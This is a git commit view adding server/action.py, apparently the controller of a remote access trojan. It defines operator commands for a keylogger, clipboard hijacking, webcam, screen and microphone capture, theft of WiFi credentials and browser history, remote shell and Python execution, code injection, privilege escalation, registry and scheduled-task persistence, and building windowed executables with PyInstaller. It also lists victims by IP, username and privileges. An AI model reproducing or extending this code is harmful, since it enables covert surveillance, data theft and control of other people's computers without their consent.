summaryrefslogtreecommitdiff
path: root/server/action.py
diff options
context:
space:
mode:
Diffstat (limited to 'server/action.py')
-rw-r--r--server/action.py900
1 files changed, 900 insertions, 0 deletions
diff --git a/server/action.py b/server/action.py
new file mode 100644
index 0000000..c5058c9
--- /dev/null
+++ b/server/action.py
@@ -0,0 +1,900 @@
+'''
+ Represents the majority of the actual work utilizing
+ the a large amount of server-sided classes. Setting up
+ the available events & their functionality supporting
+ most any kind of interactions, error handling & their
+ respective responses to be neatly displayed.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * opencv-python
+ * numpy
+ * eel
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.environment import Environment
+from server.controller import Controller
+from server.blacklist import Blacklist
+from server.helper import ServerHelper
+from server.autotask import Autotask
+from server.error import ServerError
+from server.console import Console
+from shared.helper import Helper
+from shared.state import Static
+from server.event import Event
+from server.alias import Alias
+from shared.data import Data
+
+import webbrowser
+import threading
+import numpy
+import cv2
+import os
+
+if not ServerStatic.TERMINAL:
+ import eel
+
+Event('sysinfo', 'session', 'surveillance', (('gpu', False, False),
+ ('cpu', False, False),
+ ('memory', False, False),
+ ('disk', False, False),
+ ('network', False, False),
+ ('io', False, False)))()
+Event('system', 'session', 'action', (('shutdown', False, False),
+ ('restart', False, False),
+ ('logout', False, False),
+ ('hibernate', False, False),
+ ('standby', False, False)))()
+Event('download', 'session', 'surveillance', (('file', False, True),
+ ('dir', False, True),
+ ('execute', False, False)))()
+Event('autostart', 'session', 'connection', (('shell', False, False),
+ ('registry', False, False),
+ ('schedule', False, False)))()
+Event('recover', 'session', 'surveillance', (('wifi', False, False),
+ ('history', False, False),
+ ('bookmark', False, False)))()
+Event('blacklist', 'universal', 'management', (('add', False, True),
+ ('remove', False, True),
+ ('update', False, True)))()
+Event('upload', 'session', 'surveillance', (('file', False, True),
+ ('url', False, True),
+ ('execute', False, False)))()
+Event('inject', 'session', 'execution', (('exec', False, True),
+ ('script', False, True),
+ ('unblock', False, False)))()
+Event('alias', 'universal', 'management', (('add', False, True),
+ ('remove', False, True),
+ ('update', False, True)))()
+Event('process', 'session', 'action', (('kill', False, True),
+ ('tasklist', False, False),
+ ('network', False, False)))()
+Event('build', 'universal', 'utility', (('file', True, True),
+ ('icon', False, True),
+ ('window', False, False)))()
+Event('alert', 'session', 'action', (('title', True, True),
+ ('text', True, True),
+ ('symbol', False, True)))()
+Event('screenshot', 'session', 'surveillance', (('monitor', False, True),
+ ('show', False, False)))()
+Event('autotask', 'universal', 'management', (('add', False, True),
+ ('remove', False, True)))()
+Event('session', 'universal', 'connection', (('id', False, True),
+ ('remove', False, False)))()
+Event('snapshot', 'session', 'surveillance', (('device', False, True),
+ ('show', False, False)))()
+Event('python', 'session', 'execution', (('exec', False, True),
+ ('script', False, True)))()
+Event('clipboard', 'session', 'action', (('copy', False, True),
+ ('empty', False, False)))()
+Event('audio', 'session', 'live', (('channels', False, True),
+ ('rate', False, True)))()
+Event('environment', 'universal', 'management', (('set', False, True),))()
+Event('delete', 'universal', 'connection', (('id', True, True),))()
+Event('shell', 'session', 'execution', (('input', True, True),))()
+Event('desktop', 'session', 'live', (('monitor', False, True),))()
+Event('modules', 'universal', 'live', (('close', False, True),))()
+Event('note', 'universal', 'utility', (('write', True, True),))()
+Event('webcam', 'session', 'live', (('device', False, True),))()
+Event('browse', 'session', 'action', (('url', True, True),))()
+Event('who', 'universal', 'utility', (('id', True, True),))()
+Event('disconnect', 'session', 'connection')()
+Event('reconnect', 'session', 'connection')()
+Event('uninstall', 'session', 'connection')()
+Event('escalate', 'session', 'connection')()
+Event('close', 'universal', 'multiplex')()
+Event('clear', 'universal', 'terminal')()
+Event('all', 'universal', 'multiplex')()
+Event('help', 'universal', 'terminal')()
+Event('list', 'universal', 'terminal')()
+Event('exit', 'universal', 'terminal')()
+Event('keylogger', 'session', 'live')()
+Event('gui', 'universal', 'utility')()
+Event('clipper', 'session', 'live')()
+
+
+@ServerError.quiet
+def destroy_token(token):
+ del Dynamic.TOKENS[token]
+
+
+@ServerError.quiet
+def create_token(module_type, *args):
+ token = ServerHelper.uuid()
+ token_timeout = threading.Timer(ServerStatic.TOKEN_TIMEOUT,
+ destroy_token, (token,))
+ Dynamic.TOKENS[token] = (token_timeout, module_type, args)
+ token_timeout.start()
+
+ return token
+
+
+def screenshot_handler(connect_ip, uuid, data, show):
+ raw_bytes = Data.b64decode(data)
+ assert raw_bytes, 'Void Screenshot'
+
+ np_array = numpy.frombuffer(raw_bytes, numpy.uint8)
+ np_array = cv2.imdecode(np_array, cv2.IMREAD_UNCHANGED)
+
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ connect_ip.safe, 'screenshots')
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ cv2.imwrite(os.path.join(
+ dirpath, ServerHelper.filename('png')), np_array)
+
+ if show:
+ title = '{} {} {} [{}]'.format(connect_ip.pure,
+ ServerStatic.SEPERATOR,
+ uuid, ServerHelper.uuid())
+ cv2.namedWindow(title, cv2.WINDOW_NORMAL)
+ cv2.resizeWindow(title, *ServerStatic.WINDOW_SIZE)
+ cv2.imshow(title, np_array)
+ cv2.waitKey()
+
+
+def snapshot_handler(connect_ip, uuid, data, show):
+ raw_bytes = Data.b64decode(data)
+ assert raw_bytes, 'Void Snapshot'
+
+ np_array = numpy.frombuffer(raw_bytes, numpy.uint8)
+ np_array = cv2.imdecode(np_array, cv2.IMREAD_UNCHANGED)
+ np_array = cv2.cvtColor(np_array, cv2.COLOR_RGB2BGR)
+ np_array = cv2.flip(np_array, 0)
+
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ connect_ip.safe, 'snapshots')
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ cv2.imwrite(os.path.join(
+ dirpath, ServerHelper.filename('png')), np_array)
+
+ if show:
+ title = '{} {} {} [{}]'.format(connect_ip.pure,
+ ServerStatic.SEPERATOR,
+ uuid, ServerHelper.uuid())
+ cv2.imshow(title, np_array)
+ cv2.waitKey()
+
+
+def download_handler(connect_ip, _, data, filename, execute):
+ response = Data.b64decode(data)
+ assert response, 'Void File'
+
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ connect_ip.safe, 'downloads')
+ filepath = os.path.join(dirpath, filename)
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ Helper.write_file(filepath, response, Helper.WRITE_BYTES)
+
+ if execute:
+ Helper.start(filepath)
+
+
+def recover_handler(connect_ip, _, data, filename):
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ connect_ip.safe, 'recovery')
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ Helper.write_file(os.path.join(
+ dirpath, filename), data, Helper.WRITE)
+
+
+@ServerError.general
+def shell(request, gui_call, custom):
+ request, store = Helper.store(request, ('input',))
+ assert store.input, 'Server Argument Error'
+
+ del request['input']
+ request['message'] = Static.RAW + store.input
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def alias(request, gui_call):
+ request, store = Helper.store(request, ('add', 'remove', 'update'))
+ alias = Alias(gui_call)
+
+ if store.add:
+ return alias.add(*ServerHelper.split(store.add))
+ elif store.remove:
+ return alias.remove(store.remove.strip())
+ elif store.update:
+ key, value = ServerHelper.split(store.update)
+ return alias.update(key, *ServerHelper.split(value, ','))
+ else:
+ return alias.list()
+
+
+@ServerError.general
+def environment(request, gui_call):
+ request, store = Helper.store(request, ('set',))
+
+ if store.set:
+ environment = Environment(gui_call)
+ return environment.set(*ServerHelper.split(store.set))
+ else:
+ return Environment.list(gui_call)
+
+
+@ServerError.general
+def build(request, gui_call):
+ request, store = Helper.store(request, ('file', 'icon', 'window'))
+ assert store.file, 'Server Argument Error'
+
+ args = ['pyinstaller',
+ f'--distpath={Static.ROOT_DIR}',
+ f'--workpath={ServerStatic.BUILD_DIR}',
+ f'--specpath={ServerStatic.BUILD_DIR}',
+ '--log-level=CRITICAL',
+ '--onefile',
+ os.path.join(Static.ROOT_DIR, store.file)]
+
+ if store.icon:
+ args.append('--icon={}'.format(
+ os.path.join(Static.ROOT_DIR, store.icon)))
+
+ if not store.window:
+ args.append('--windowed')
+
+ if Helper.run(args):
+ return Console.printf('Compilation complete',
+ Static.SUCCESS, ret=gui_call)
+ else:
+ return Console.printf('Compilation failed',
+ Static.DANGER, ret=gui_call)
+
+
+@ServerError.general
+def autotask(request, gui_call):
+ request, store = Helper.store(request, ('add', 'remove'))
+ autotask = Autotask(gui_call)
+
+ if store.add:
+ return autotask.add(store.add)
+ elif store.remove:
+ return autotask.remove(store.remove)
+ else:
+ return autotask.list()
+
+
+@ServerError.general
+def blacklist(request, gui_call):
+ request, store = Helper.store(request, ('add', 'remove', 'update'))
+ blacklist = Blacklist(gui_call)
+
+ if store.add:
+ ips = ServerHelper.split(store.add, ',')
+
+ if len(ips) == 1:
+ return blacklist.add(*ips)
+ else:
+ for ip in ips:
+ try:
+ blacklist.add(ip)
+ except Exception:
+ pass
+
+ return Console.printf('Blacklist address{} added'.format(
+ Helper.plural(ips, 'es')), Static.SUCCESS, ret=gui_call)
+ elif store.remove:
+ ips = ServerHelper.split(store.remove, ',')
+
+ if len(ips) == 1:
+ return blacklist.remove(*ips)
+ else:
+ for ip in ips:
+ try:
+ blacklist.remove(ip)
+ except Exception:
+ pass
+
+ return Console.printf('Blacklist address{} removed'.format(
+ Helper.plural(ips, 'es')), Static.SUCCESS, ret=gui_call)
+ elif store.update:
+ return blacklist.update(*ServerHelper.split(store.update))
+ else:
+ return blacklist.list()
+
+
+@ServerError.general
+def all(_, gui_call):
+ if not Dynamic.CLIENTS:
+ if gui_call:
+ return Console.alert('No Clients Connected', Static.WARNING)
+ else:
+ Console.printf('No clients connected', Static.WARNING)
+ elif Dynamic.CLIENTS.keys() != Dynamic.SESSION:
+ Dynamic.SESSION = set(Dynamic.CLIENTS.keys())
+
+ if not ServerStatic.TERMINAL:
+ if eel._websockets != []:
+ eel.sessionAllEel()
+
+ if gui_call:
+ return Console.alert('All Status Achieved', Static.SUCCESS)
+ else:
+ Console.printf('All status achieved', Static.SUCCESS)
+ else:
+ if gui_call:
+ return Console.alert('Already All Status', Static.WARNING)
+ else:
+ Console.printf('Already all status', Static.WARNING)
+
+
+@ServerError.general
+def clear(_, gui_call):
+ if gui_call:
+ return Console.alert('Request Not Available', Static.WARNING)
+ else:
+ if Static.WINDOWS:
+ os.system('cls')
+ else:
+ os.system('clear')
+
+ Console.printf(raw=True)
+
+
+@ServerError.general
+def clipboard(request, gui_call, custom):
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def close(_, gui_call):
+ if Dynamic.SESSION:
+ Dynamic.SESSION.clear()
+
+ if not ServerStatic.TERMINAL:
+ if eel._websockets != []:
+ eel.sessionCloseEel()
+
+ if gui_call:
+ return Console.alert('Session Closed', Static.INFO)
+ else:
+ Console.printf('Session closed', Static.INFO)
+ else:
+ if gui_call:
+ return Console.alert('No Active Session', Static.WARNING)
+ else:
+ Console.printf('No active session', Static.WARNING)
+
+
+@ServerError.general
+def delete(request, gui_call):
+ request, store = Helper.store(request, ('id',))
+ assert store.id, 'Server Argument Error'
+
+ uuids = ServerHelper.split(store.id, ',')
+ allow_raise = len(uuids) == 1
+
+ for uuid in uuids:
+ Controller.delete_client(uuid, allow_raise)
+
+ return Console.printf('Client{} removed'.format(
+ Helper.plural(uuids)), Static.INFO, ret=gui_call)
+
+
+def exit(_, gui_call):
+ if gui_call:
+ return Console.alert('Exit Not Available To GUI/Web', Static.WARNING)
+ else:
+ Console.printf(f'Exiting {ServerStatic.NAME}', Static.INFO, False)
+ Controller.exit_program()
+
+
+@ServerError.general
+def gui(_, gui_call):
+ if ServerStatic.TERMINAL:
+ Console.printf('GUI not available to terminal', Static.WARNING)
+ elif ServerStatic.WEB_GUI:
+ webbrowser.open('{}/{}'.format(ServerStatic.GUI_HOST,
+ ServerStatic.GUI_PAGE), 1)
+
+ if gui_call:
+ return Console.alert('Browser Window Opened', Static.INFO)
+ else:
+ Console.printf('Browser window opened', Static.INFO)
+ else:
+ eel.browsers.open((ServerStatic.GUI_PAGE,), eel._start_args)
+
+ if gui_call:
+ return Console.alert('GUI Window Opened', Static.INFO)
+ else:
+ Console.printf('GUI window opened', Static.INFO)
+
+
+@ServerError.general
+def who(request, gui_call):
+ request, store = Helper.store(request, ('id',))
+ assert store.id, 'Server Argument Error'
+
+ client = Dynamic.CLIENTS.get(store.id, False)
+
+ if client:
+ headers, values = ('Data Point', 'Value'), []
+
+ for key, value in ServerStatic.CATEGORIES:
+ values.append((key, client.data[value]))
+
+ return Console.tabulate(values, headers, gui_call)
+ else:
+ return Console.printf('Client not found',
+ Static.WARNING, ret=gui_call)
+
+
+def help(_, gui_call):
+ return Console.tabulate(ServerStatic.HELP, (
+ 'Available',
+ 'Namespace',
+ 'Command',
+ 'Arguments'
+ ), gui_call)
+
+
+def list(_, gui_call):
+ if Dynamic.CLIENTS:
+ headers, values = ('Row', 'Country', 'Connect IP', 'Unique ID',
+ 'Build Version', 'Username', 'Operating System',
+ 'Privileges'), []
+
+ for row, (unique_id, client) in enumerate(
+ Dynamic.CLIENTS.items(), 1):
+ values.append((
+ row,
+ client.country,
+ client.connect_ip.pure,
+ unique_id,
+ client.build_version,
+ client.username,
+ client.operating_system,
+ client.privileges
+ ))
+
+ return Console.tabulate(values, headers, gui_call)
+ else:
+ return Console.printf('No clients connected',
+ Static.INFO, ret=gui_call)
+
+
+@ServerError.general
+def note(request, gui_call):
+ request, store = Helper.store(request, ('write',))
+ assert store.write, 'Server Argument Error'
+
+ if not os.path.isdir(ServerStatic.ARCHIVE_DIR):
+ os.makedirs(ServerStatic.ARCHIVE_DIR, exist_ok=True)
+
+ Helper.write_file(os.path.join(
+ ServerStatic.ARCHIVE_DIR, 'notes.txt'
+ ), '{}\n{}\n\n'.format(Helper.timestamp(),
+ store.write.replace(r'\n', '\n')))
+
+ return Console.printf('Note written down',
+ Static.INFO, ret=gui_call)
+
+
+@ServerError.general
+def session(request, gui_call):
+ request, store = Helper.store(request, ('id', 'remove'))
+
+ if store.id:
+ uuids = ServerHelper.split(store.id, ',')
+ allow_raise = len(uuids) == 1
+
+ if store.remove:
+ for uuid in uuids:
+ Controller.remove_session(uuid, allow_raise)
+
+ return Console.printf('Client{} removed from session'.format(
+ Helper.plural(uuids)), Static.SUCCESS, ret=gui_call)
+ else:
+ for uuid in uuids:
+ Controller.add_session(uuid, allow_raise)
+
+ return Console.printf('Client{} added to session'.format(
+ Helper.plural(uuids)), Static.SUCCESS, ret=gui_call)
+ else:
+ if Dynamic.SESSION:
+ headers, values = ('Row', 'Country', 'Connect IP', 'Unique ID',
+ 'Build Version', 'Username', 'Operating System',
+ 'Privileges'), []
+
+ for row, (unique_id, client) in enumerate(
+ ((unique_id, Dynamic.CLIENTS[unique_id])
+ for unique_id in Dynamic.SESSION), 1):
+ values.append((
+ row,
+ client.country,
+ client.connect_ip.pure,
+ unique_id,
+ client.build_version,
+ client.username,
+ client.operating_system,
+ client.privileges
+ ))
+
+ return Console.tabulate(values, headers, gui_call)
+ else:
+ return Console.printf('No active session',
+ Static.INFO, ret=gui_call)
+
+
+@ServerError.general
+def uninstall(_, gui_call, custom):
+ return Controller.message(
+ gui_call, Data.message(Static.UNINSTALL),
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def disconnect(_, gui_call, custom):
+ return Controller.message(
+ gui_call, Data.message(Static.DISCONNECT),
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def reconnect(_, gui_call, custom):
+ return Controller.message(
+ gui_call, Data.message(Static.RECONNECT),
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def python(request, gui_call, custom):
+ request, store = Helper.store(request, ('exec', 'script'))
+ assert store.exec or store.script, 'Server Argument Error'
+
+ if store.script:
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR, 'scripts')
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ data = Helper.read_file(os.path.join(
+ dirpath, store.script)).strip()
+
+ assert data, 'Empty Python Script'
+
+ del request['script']
+ request['exec'] = data
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def inject(request, gui_call, custom):
+ request, store = Helper.store(request, ('exec', 'script'))
+ assert store.exec or store.script, 'Server Argument Error'
+
+ if store.script:
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR, 'scripts')
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ data = Helper.read_file(os.path.join(
+ dirpath, store.script)).strip()
+
+ assert data, 'Empty Injection Script'
+
+ del request['script']
+ request['exec'] = ServerHelper.split(data, '\n', True)
+ else:
+ request['exec'] = ServerHelper.split(store.exec, ';', True)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def browse(request, gui_call, custom):
+ request, store = Helper.store(request, ('url',))
+ assert store.url, 'Server Argument Error'
+
+ request['url'] = ServerHelper.split(store.url, ',', True)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def screenshot(request, gui_call, custom):
+ request, store = Helper.store(request, ('monitor', 'show'))
+
+ if store.show:
+ assert not ServerStatic.WEB_GUI, 'Feature Not Available To Web'
+
+ if store.monitor:
+ request['monitor'] = int(store.monitor)
+ else:
+ request['monitor'] = 1
+
+ return Controller.message(gui_call, request, loading='Downloading...',
+ ret=gui_call, callback=screenshot_handler,
+ args=(store.show,), custom=custom)
+
+
+@ServerError.general
+def snapshot(request, gui_call, custom):
+ request, store = Helper.store(request, ('device', 'show'))
+
+ if store.show:
+ assert not ServerStatic.WEB_GUI, 'Feature Not Available To Web'
+
+ if store.device:
+ request['device'] = int(store.device)
+ assert request['device'] > 0, 'Server Argument Error'
+ else:
+ request['device'] = 1
+
+ return Controller.message(gui_call, request, loading='Downloading...',
+ ret=gui_call, callback=snapshot_handler,
+ args=(store.show,), custom=custom)
+
+
+@ServerError.general
+def alert(request, gui_call, custom):
+ request, store = Helper.store(request, ('title', 'text', 'symbol'))
+ assert store.title and store.text, 'Server Argument Error'
+
+ if type(store.symbol) is str:
+ store.symbol = store.symbol.upper()
+
+ if store.symbol == Static.DANGER:
+ request['symbol'] = 16
+ elif store.symbol == Static.WARNING:
+ request['symbol'] = 48
+ elif store.symbol == Static.INFO:
+ request['symbol'] = 64
+ else:
+ request['symbol'] = 32
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def system(request, gui_call, custom):
+ request, store = Helper.store(request, ('shutdown', 'restart',
+ 'logout', 'hibernate',
+ 'standby'))
+ assert any((store.shutdown, store.restart,
+ store.logout, store.hibernate,
+ store.standby)), 'Server Argument Error'
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def download(request, gui_call, custom):
+ request, store = Helper.store(request, ('file', 'dir', 'execute'))
+ assert store.file or store.dir, 'Server Argument Error'
+
+ if gui_call:
+ assert not store.execute, 'Execute not allowed from GUI'
+
+ if store.file:
+ filename = os.path.split(store.file)[1]
+ else:
+ filename = f'{os.path.split(store.dir)[1]}.zip'
+
+ return Controller.message(gui_call, request, ret=gui_call,
+ callback=download_handler,
+ args=(filename, store.execute),
+ custom=custom)
+
+
+@ServerError.general
+def upload(request, gui_call, custom):
+ request, store = Helper.store(request, ('file', 'url'))
+ assert store.file or store.url, 'Server Argument Error'
+
+ if store.file:
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR, 'uploads')
+ filepath = os.path.join(dirpath, store.file)
+
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ assert os.path.isfile(filepath), 'File Not Found'
+ request['custom'] = Data.b64encode(
+ Helper.read_file(filepath, Helper.READ_BYTES))
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def escalate(request, gui_call, custom):
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def autostart(request, gui_call, custom):
+ request, store = Helper.store(request, ('shell', 'registry', 'schedule'))
+ assert any((store.shell, store.registry,
+ store.schedule)), 'Server Argument Error'
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def recover(request, gui_call, custom):
+ request, store = Helper.store(request, ('wifi', 'history', 'bookmark'))
+ assert any((store.wifi, store.history,
+ store.bookmark)), 'Server Argument Error'
+
+ if store.history:
+ return Controller.message(gui_call, request,
+ ret=gui_call,
+ callback=recover_handler,
+ args=('history.csv',),
+ custom=custom)
+ elif store.bookmark:
+ return Controller.message(gui_call, request,
+ ret=gui_call,
+ callback=recover_handler,
+ args=('bookmarks.csv',),
+ custom=custom)
+ else:
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def process(request, gui_call, custom):
+ request, store = Helper.store(request, ('kill', 'tasklist', 'network'))
+ assert any((store.kill, store.tasklist,
+ store.network)), 'Server Argument Error'
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def sysinfo(request, gui_call, custom):
+ request, store = Helper.store(request, ('gpu', 'cpu', 'memory',
+ 'disk', 'network', 'io'))
+ assert any((store.gpu, store.cpu, store.memory, store.disk,
+ store.network, store.io)), 'Server Argument Error'
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def desktop(request, gui_call, custom):
+ assert not ServerStatic.WEB_GUI, 'Feature Not Available To Web'
+ request, store = Helper.store(request, ('monitor',))
+
+ if store.monitor:
+ request['monitor'] = int(store.monitor)
+ else:
+ request['monitor'] = 1
+
+ request['token'] = create_token(ServerStatic.DESKTOP)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def webcam(request, gui_call, custom):
+ assert not ServerStatic.WEB_GUI, 'Feature Not Available To Web'
+ request, store = Helper.store(request, ('device',))
+
+ if store.device:
+ request['device'] = int(store.device)
+ assert request['device'] > 0, 'Server Argument Error'
+ else:
+ request['device'] = 1
+
+ request['token'] = create_token(ServerStatic.WEBCAM)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def audio(request, gui_call, custom):
+ assert not ServerStatic.WEB_GUI, 'Feature Not Available To Web'
+ request, store = Helper.store(request, ('channels', 'rate'))
+
+ if store.channels:
+ request['channels'] = int(store.channels)
+ else:
+ request['channels'] = 2
+
+ if store.rate:
+ request['rate'] = int(store.rate)
+ else:
+ request['rate'] = 44100
+
+ request['token'] = create_token(ServerStatic.AUDIO,
+ request['channels'],
+ request['rate'])
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def keylogger(request, gui_call, custom):
+ request['token'] = create_token(ServerStatic.KEYLOGGER)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def clipper(request, gui_call, custom):
+ request['token'] = create_token(ServerStatic.CLIPPER)
+
+ return Controller.message(gui_call, request,
+ ret=gui_call, custom=custom)
+
+
+@ServerError.general
+def modules(request, gui_call):
+ request, store = Helper.store(request, ('close',))
+
+ if store.close:
+ Dynamic.MODULES[store.close].close()
+
+ return Console.printf('Module closed',
+ Static.SUCCESS, ret=gui_call)
+ else:
+ if Dynamic.MODULES:
+ headers, values = ('Module Token',
+ 'Module Type', 'Connect IP'), []
+
+ for module_id, module in Dynamic.MODULES.items():
+ values.append((module_id,
+ str(module), module.connect_ip))
+
+ return Console.tabulate(values, headers, gui_call)
+ else:
+ return Console.printf('No active modules',
+ Static.INFO, ret=gui_call)